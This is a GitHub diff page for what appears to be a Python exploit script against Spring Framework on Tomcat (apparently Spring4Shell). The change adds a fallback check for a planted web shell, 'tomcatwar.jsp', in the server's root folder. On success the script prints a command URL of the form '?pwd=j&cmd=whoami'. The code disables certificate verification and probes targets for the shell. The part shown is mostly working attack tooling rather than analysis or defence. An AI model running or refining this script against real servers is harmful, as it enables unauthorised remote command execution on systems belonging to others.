File tree Expand file tree Collapse file tree 1 file changed +16
-3
lines changed
Expand file tree Collapse file tree 1 file changed +16
-3
lines changed Original file line number Diff line number Diff line change 77
88urllib3 .disable_warnings (urllib3 .exceptions .InsecureRequestWarning )
99
10- from urllib .parse import urljoin
10+ from urllib .parse import urljoin , urlparse
1111from threading import Thread
1212from sys import exit
1313
@@ -45,9 +45,22 @@ def run(self):
4545 verify = False )
4646 if shellgo .status_code == 200 :
4747 print (f"Vulnerable,shell ip:{ shellurl } ?pwd=j&cmd=whoami" )
48+
49+ ## Depending on the server, the shell url may be in tomcats root folder
4850 else :
49- print (f"\033 [91m[" + '\u2718 ' + "]\033 [0m" , self .url ,
50- "\033 [91mNot Vulnerable!\033 [0m " )
51+ parsedurl = urlparse (shellurl )
52+ rooturl = parsedurl .scheme + "://" + parsedurl .netloc # There is 100% a better way to do this, please make a PR if you know!
53+ shellurlroot = urljoin (rooturl , 'tomcatwar.jsp' )
54+ shellgoroot = requests .get (shellurlroot ,
55+ timeout = 15 ,
56+ allow_redirects = False ,
57+ stream = True ,
58+ verify = False )
59+ if shellgoroot .status_code == 200 :
60+ print (f"Vulnerable,shell ip:{ shellurlroot } ?pwd=j&cmd=whoami" )
61+ else :
62+ print (f"\033 [91m[" + '\u2718 ' + "]\033 [0m" , self .url ,
63+ "\033 [91mNot Vulnerable!\033 [0m " )
5164
5265 except Exception as e :
5366 print (e )
You can’t perform that action at this time.
0 commit comments